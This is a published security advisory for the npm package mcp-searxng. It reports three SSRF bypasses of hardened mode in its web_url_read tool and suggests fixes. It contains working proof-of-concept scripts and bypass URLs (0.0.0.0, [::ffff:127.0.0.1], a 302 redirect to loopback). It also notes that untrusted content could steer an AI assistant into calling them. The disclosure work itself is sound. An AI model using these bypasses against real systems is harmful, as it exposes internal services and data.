GHSA-WPPF-H75H-6PM6中危已审查

SearXNG MCP Server: Additional hardened-mode SSRF bypasses

OSV 1.4.0 · github-reviewed · 修改于 2026-08-20 03:23

发布时间

2026-08-20 03:23

GitHub 审查时间

2026-08-20 03:23

NVD 发布时间

—

源文件

advisories/github-reviewed/2026/08/GHSA-wppf-h75h-6pm6/GHSA-wppf-h75h-6pm6.json

公告说明

Summary

mcp-searxng has a hardened-mode URL-reading feature intended to prevent web_url_read from reaching private or internal network resources.

PR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.

However, several other hardened-mode SSRF bypasses still appear to remain:

Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target.
0.0.0.0 is not treated as an internal/special address.
IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.

With hardened mode enabled and private URLs not explicitly allowed, web_url_read was still able to fetch and return content from a local loopback sentinel service in all three cases.

Tested configuration

MCP_HTTP_HARDEN=true
MCP_HTTP_ALLOW_PRIVATE_URLS unset

The MCP server was driven over stdio.

The test target was a harmless internal sentinel HTTP service bound to:

127.0.0.1:6789

The sentinel response contained:

INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2

Relationship to PR #79

I tested PR #79 locally:

PR: fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79
PR commit tested: e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4
Base issue class: CWE-918 / SSRF in web_url_read
Hardened mode: enabled

Observed results:

Case                                         Result on PR #79
-------------------------------------------------------------
DNS hostname resolving to 127.0.0.1          blocked
0.0.0.0                                      BYPASS
[::ffff:127.0.0.1]                           BYPASS
redirect from non-private IP to 127.0.0.1    BYPASS

cat > /tmp/searxng_sentinel_server.py <<'PY'
#!/usr/bin/env python3
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789
SENTINEL = b"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        body = b"<html><body><h1>internal</h1><p>" + SENTINEL + b"</p></body></html>"
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        sys.stderr.write("[sentinel %s] %s\n" % (PORT, fmt % args))

def serve_v4():
    HTTPServer(("127.0.0.1", PORT), H).serve_forever()

def serve_v6():
    try:
        import socket
        class HTTPServerV6(HTTPServer):
            address_family = socket.AF_INET6
        HTTPServerV6(("::1", PORT), H).serve_forever()
    except Exception as e:
        sys.stderr.write(f"[sentinel] IPv6 listener failed: {e}\n")

threading.Thread(target=serve_v4, daemon=True).start()
serve_v6()
PY

fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
nohup python3 /tmp/searxng_sentinel_server.py 6789 >/tmp/searxng_sentinel.log 2>&1 &
sleep 1

curl -sS http://127.0.0.1:6789/secret

cat > /tmp/poc_0_0_0_0.py <<'PY'
#!/usr/bin/env python3
import json
import os
import subprocess
import time
import sys
from pathlib import Path

REPO = Path("/home/exouser/Desktop/searxng_pr79_test/pr79")
SERVER = REPO / "dist" / "index.js"
SENTINEL = "INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"

ENV = {
    "MCP_HTTP_HARDEN": "true",
    "MCP_HTTP_AUTH_TOKEN": "poc-token",
    "MCP_HTTP_ALLOWED_ORIGINS": "http://localhost:9999",
}

def send(p, o):
    p.stdin.write((json.dumps(o) + "\n").encode())
    p.stdin.flush()

def recv(p, want_id, timeout=20):
    end = time.time() + timeout
    while time.time() < end:
        line = p.stdout.readline()
        if not line:
            time.sleep(0.05)
            continue
        try:
            m = json.loads(line.decode())
        except Exception:
            continue
        if m.get("id") == want_id:
            return m
    raise TimeoutError()

def main():
    url = "http://0.0.0.0:6789/secret"
    print(f"[poc] hardened-mode read_url url = {url!r}")

    p = subprocess.Popen(
        ["node", str(SERVER)],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        cwd=str(REPO),
        env={**os.environ, **ENV},
    )

    try:
        send(p, {
            "jsonrpc": "2.0",
            "id": 1,
            "method": "initialize",
            "params": {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "poc", "version": "0"}
            }
        })
        recv(p, 1)

        send(p, {
            "jsonrpc": "2.0",
            "method": "notifications/initialized",
            "params": {}
        })

        send(p, {
            "jsonrpc": "2.0",
            "id": 2,
            "method": "tools/call",
            "params": {
                "name": "web_url_read",
                "arguments": {
                    "url": url,
                    "maxLength": 400
                }
            }
        })

        r = recv(p, 2)
    finally:
        try:
            p.terminate()
            p.wait(timeout=3)
        except Exception:
            p.kill()

    text = json.dumps(r).replace("\\\\_", "_").replace("\\_", "_")
    if SENTINEL in text:
        print("[poc] RESULT: BYPASS — sentinel returned")
        try:
            print("[poc] tool returned:", repr(r["result"]["content"][0]["text"][:200]))
        except Exception:
            pass
        sys.exit(0)

    print("[poc] RESULT: blocked / failed")
    print(json.dumps(r)[:500])
    sys.exit(1)

if __name__ == "__main__":
    main()
PY

python3 /tmp/poc_0_0_0_0.py

Re-validate every redirect hop. One option is to use redirect: "manual" and apply the same URL policy to each Location before following it.
Treat 0.0.0.0/8 and other IANA special-purpose ranges as internal/non-public.
Handle IPv4-mapped IPv6 after canonicalization, including forms such as [::ffff:7f00:1].
Apply private-address checks to IP literals directly, not only through DNS lookup hooks.
Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching.
Add regression tests for:
- redirect to 127.0.0.1;
- 0.0.0.0;
- [::ffff:127.0.0.1];
- hostname resolving to 127.0.0.1;
- decimal IPv4 normalization remaining blocked.

标识信息

别名 / CVE

CVE-2026-54689

CWE

CWE-200CWE-918

软件生态

npm

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

原始 OSV JSON

{
  "id": "GHSA-wppf-h75h-6pm6",
  "aliases": [
    "CVE-2026-54689"
  ],
  "details": "## Summary\n\n`mcp-searxng` has a hardened-mode URL-reading feature intended to prevent `web_url_read` from reaching private or internal network resources.\n\nPR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.\n\nHowever, several other hardened-mode SSRF bypasses still appear to remain:\n\n1. Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target.\n2. `0.0.0.0` is not treated as an internal/special address.\n3. IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.\n\nWith hardened mode enabled and private URLs not explicitly allowed, `web_url_read` was still able to fetch and return content from a local loopback sentinel service in all three cases.\n\n## Tested configuration\n\n```bash\nMCP_HTTP_HARDEN=true\nMCP_HTTP_ALLOW_PRIVATE_URLS unset\n```\n\nThe MCP server was driven over stdio.\n\nThe test target was a harmless internal sentinel HTTP service bound to:\n\n```text\n127.0.0.1:6789\n```\n\nThe sentinel response contained:\n\n```text\nINTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\n```\n\n## Relationship to PR #79\n\nI tested PR #79 locally:\n\n- PR: `fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79`\n- PR commit tested: `e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4`\n- Base issue class: CWE-918 / SSRF in `web_url_read`\n- Hardened mode: enabled\n\nObserved results:\n\n```text\nCase                                         Result on PR #79\n-------------------------------------------------------------\nDNS hostname resolving to 127.0.0.1          blocked\n0.0.0.0                                      BYPASS\n[::ffff:127.0.0.1]                           BYPASS\nredirect from non-private IP to 127.0.0.1    BYPASS\n```\n\nSo PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.\n\n## Root cause\n\n### 1. Redirect targets are not re-validated\n\nThe URL policy appears to be applied to the initial URL, but redirect targets are followed by `fetch()` without applying the same policy to each hop.\n\nA non-private attacker-controlled first-hop URL can respond with:\n\n```http\n302 Location: http://127.0.0.1:6789/secret\n```\n\nThe request is then followed to loopback.\n\nThis is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to `127.0.0.1`.\n\n### 2. `0.0.0.0` is not treated as internal\n\n`0.0.0.0` is not currently blocked by the private IPv4 predicate. On Linux, connecting to `0.0.0.0:<port>` can reach a local service bound on loopback or wildcard interfaces.\n\nIn my test, this URL returned the sentinel from the local loopback service:\n\n```text\nhttp://0.0.0.0:6789/secret\n```\n\n### 3. IPv4-mapped IPv6 canonicalization bypass\n\nThe current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:\n\n```text\n::ffff:127.0.0.1\n```\n\nHowever, Node's WHATWG URL parser canonicalizes:\n\n```js\nnew URL(\"http://[::ffff:127.0.0.1]/\").hostname\n```\n\nto:\n\n```text\n[::ffff:7f00:1]\n```\n\nAs a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.\n\nIn my test, this URL returned the loopback sentinel:\n\n```text\nhttp://[::ffff:127.0.0.1]:6789/secret\n```\n\n## Impact\n\nThis is a hardened-mode SSRF bypass.\n\nThe sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.\n\nIn real deployments, the same class of issue could allow `web_url_read` to reach:\n\n- local admin panels bound to loopback;\n- Redis, Elasticsearch, or other local HTTP-like services;\n- internal HTTP APIs on private networks;\n- service mesh endpoints;\n- cloud metadata endpoints, depending on routing and environment.\n\nThis is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger `web_url_read` with one of these bypass URLs.\n\n## Proof of Concept\n\n### 1. Build the PR #79 branch\n\n```bash\ncd /home/exouser/Desktop\nmkdir -p searxng_pr79_test\ncd searxng_pr79_test\n\ngit clone --depth 1 \\\n  -b fix/cwe918-url-reader-ssrf-4676 \\\n  https://github.com/sebastiondev/mcp-searxng.git pr79\n\ncd pr79\ngit rev-parse HEAD\n\nnpm install --no-audit --no-fund\nnpm run build\n\nls -l dist/index.js\n```\n\nExpected PR commit:\n\n```text\ne55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4\n```\n\n### 2. Start an internal sentinel service\n\nThis service represents an internal-only HTTP service reachable from the MCP server host.\n\n```bash\ncat > /tmp/searxng_sentinel_server.py <<'PY'\n#!/usr/bin/env python3\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nPORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789\nSENTINEL = b\"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\"\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = b\"<html><body><h1>internal</h1><p>\" + SENTINEL + b\"</p></body></html>\"\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, fmt, *args):\n        sys.stderr.write(\"[sentinel %s] %s\\n\" % (PORT, fmt % args))\n\ndef serve_v4():\n    HTTPServer((\"127.0.0.1\", PORT), H).serve_forever()\n\ndef serve_v6():\n    try:\n        import socket\n        class HTTPServerV6(HTTPServer):\n            address_family = socket.AF_INET6\n        HTTPServerV6((\"::1\", PORT), H).serve_forever()\n    except Exception as e:\n        sys.stderr.write(f\"[sentinel] IPv6 listener failed: {e}\\n\")\n\nthreading.Thread(target=serve_v4, daemon=True).start()\nserve_v6()\nPY\n\nfuser -k 6789/tcp 6790/tcp 2>/dev/null || true\nnohup python3 /tmp/searxng_sentinel_server.py 6789 >/tmp/searxng_sentinel.log 2>&1 &\nsleep 1\n\ncurl -sS http://127.0.0.1:6789/secret\n```\n\nExpected output contains:\n\n```text\nINTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\n```\n\n### 3. PoC A: `0.0.0.0`\n\n```bash\ncat > /tmp/poc_0_0_0_0.py <<'PY'\n#!/usr/bin/env python3\nimport json\nimport os\nimport subprocess\nimport time\nimport sys\nfrom pathlib import Path\n\nREPO = Path(\"/home/exouser/Desktop/searxng_pr79_test/pr79\")\nSERVER = REPO / \"dist\" / \"index.js\"\nSENTINEL = \"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\"\n\nENV = {\n    \"MCP_HTTP_HARDEN\": \"true\",\n    \"MCP_HTTP_AUTH_TOKEN\": \"poc-token\",\n    \"MCP_HTTP_ALLOWED_ORIGINS\": \"http://localhost:9999\",\n}\n\ndef send(p, o):\n    p.stdin.write((json.dumps(o) + \"\\n\").encode())\n    p.stdin.flush()\n\ndef recv(p, want_id, timeout=20):\n    end = time.time() + timeout\n    while time.time() < end:\n        line = p.stdout.readline()\n        if not line:\n            time.sleep(0.05)\n            continue\n        try:\n            m = json.loads(line.decode())\n        except Exception:\n            continue\n        if m.get(\"id\") == want_id:\n            return m\n    raise TimeoutError()\n\ndef main():\n    url = \"http://0.0.0.0:6789/secret\"\n    print(f\"[poc] hardened-mode read_url url = {url!r}\")\n\n    p = subprocess.Popen(\n        [\"node\", str(SERVER)],\n        stdin=subprocess.PIPE,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        cwd=str(REPO),\n        env={**os.environ, **ENV},\n    )\n\n    try:\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"poc\", \"version\": \"0\"}\n            }\n        })\n        recv(p, 1)\n\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"method\": \"notifications/initialized\",\n            \"params\": {}\n        })\n\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 2,\n            \"method\": \"tools/call\",\n            \"params\": {\n                \"name\": \"web_url_read\",\n                \"arguments\": {\n                    \"url\": url,\n                    \"maxLength\": 400\n                }\n            }\n        })\n\n        r = recv(p, 2)\n    finally:\n        try:\n            p.terminate()\n            p.wait(timeout=3)\n        except Exception:\n            p.kill()\n\n    text = json.dumps(r).replace(\"\\\\\\\\_\", \"_\").replace(\"\\\\_\", \"_\")\n    if SENTINEL in text:\n        print(\"[poc] RESULT: BYPASS — sentinel returned\")\n        try:\n            print(\"[poc] tool returned:\", repr(r[\"result\"][\"content\"][0][\"text\"][:200]))\n        except Exception:\n            pass\n        sys.exit(0)\n\n    print(\"[poc] RESULT: blocked / failed\")\n    print(json.dumps(r)[:500])\n    sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()\nPY\n\npython3 /tmp/poc_0_0_0_0.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://0.0.0.0:6789/secret'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### 4. PoC B: IPv4-mapped IPv6\n\n```bash\nsed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \\\n  /tmp/poc_0_0_0_0.py > /tmp/poc_ipv4_mapped_ipv6.py\n\npython3 /tmp/poc_ipv4_mapped_ipv6.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://[::ffff:127.0.0.1]:6789/secret'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### 5. PoC C: redirect from a non-private first-hop address to loopback\n\nThis uses `198.51.100.1` as a safe local stand-in for a non-private attacker-controlled first-hop address.\n\n```bash\nsudo ip addr add 198.51.100.1/32 dev lo\n\ncat > /tmp/redirector_public.py <<'PY'\n#!/usr/bin/env python3\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://127.0.0.1:6789/secret\")\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n\n    def log_message(self, *args, **kwargs):\n        pass\n\nHTTPServer((\"198.51.100.1\", 6790), H).serve_forever()\nPY\n\nfuser -k 6790/tcp 2>/dev/null || true\nnohup python3 /tmp/redirector_public.py >/tmp/searxng_redirector_public.log 2>&1 &\nsleep 1\n\ncurl -sSL http://198.51.100.1:6790/jump\n```\n\nThe `curl` sanity check should return the internal sentinel.\n\nNow run the MCP request:\n\n```bash\nsed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \\\n  /tmp/poc_0_0_0_0.py > /tmp/poc_redirect_public_to_loopback.py\n\npython3 /tmp/poc_redirect_public_to_loopback.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://198.51.100.1:6790/jump'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### Cleanup\n\n```bash\nfuser -k 6789/tcp 6790/tcp 2>/dev/null || true\nsudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true\n```\n\n## Reproduction note\n\n`NodeHtmlMarkdown` escapes `_` to `\\_`, so the sentinel may appear in the MCP response as:\n\n```text\nINTERNAL\\_SECRET\\_DATA\\_\\_mcp\\_searxng\\_ssrf\\_path2\n```\n\nWhen grepping or matching the response, either match against the escaped form or normalize `\\_` back to `_`.\n\n## Expected behavior\n\nWhen hardened mode is enabled and private URLs are not explicitly allowed, `web_url_read` should not be able to fetch loopback or internal resources through:\n\n- direct special-address literals;\n- IPv4-mapped IPv6 literals;\n- redirect chains;\n- hostnames that resolve to private or internal addresses.\n\n## Actual behavior\n\nWith hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:\n\n```text\nhttp://0.0.0.0:6789/secret\nhttp://[::ffff:127.0.0.1]:6789/secret\nhttp://198.51.100.1:6790/jump  -> 302 Location: http://127.0.0.1:6789/secret\n```\n\n## Suggested fix\n\nA complete fix likely needs more than a connect-time DNS lookup guard.\n\nSuggested changes:\n\n- Re-validate every redirect hop. One option is to use `redirect: \"manual\"` and apply the same URL policy to each `Location` before following it.\n- Treat `0.0.0.0/8` and other IANA special-purpose ranges as internal/non-public.\n- Handle IPv4-mapped IPv6 after canonicalization, including forms such as `[::ffff:7f00:1]`.\n- Apply private-address checks to IP literals directly, not only through DNS lookup hooks.\n- Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching.\n- Add regression tests for:\n  - redirect to `127.0.0.1`;\n  - `0.0.0.0`;\n  - `[::ffff:127.0.0.1]`;\n  - hostname resolving to `127.0.0.1`;\n  - decimal IPv4 normalization remaining blocked.\n```",
  "summary": "SearXNG MCP Server: Additional hardened-mode SSRF bypasses",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.1"
            }
          ]
        }
      ],
      "package": {
        "name": "mcp-searxng",
        "ecosystem": "npm"
      }
    }
  ],
  "modified": "2026-08-19T19:23:16Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"
    }
  ],
  "published": "2026-08-19T19:23:16Z",
  "references": [
    {
      "url": "https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-wppf-h75h-6pm6",
      "type": "WEB"
    },
    {
      "url": "https://github.com/ihor-sokoliuk/mcp-searxng",
      "type": "PACKAGE"
    },
    {
      "url": "https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-918"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "nvd_published_at": null,
    "github_reviewed_at": "2026-08-19T19:23:16Z"
  }
}

SearXNG MCP Server: Additional hardened-mode SSRF bypasses

Summary

Tested configuration

Relationship to PR #79

Root cause

1. Redirect targets are not re-validated

2. 0.0.0.0 is not treated as internal

3. IPv4-mapped IPv6 canonicalization bypass

Impact

Proof of Concept

1. Build the PR #79 branch

2. Start an internal sentinel service

3. PoC A: 0.0.0.0

4. PoC B: IPv4-mapped IPv6

5. PoC C: redirect from a non-private first-hop address to loopback

Cleanup

Reproduction note

Expected behavior

Actual behavior

Suggested fix

mcp-searxng

2. `0.0.0.0` is not treated as internal

3. PoC A: `0.0.0.0`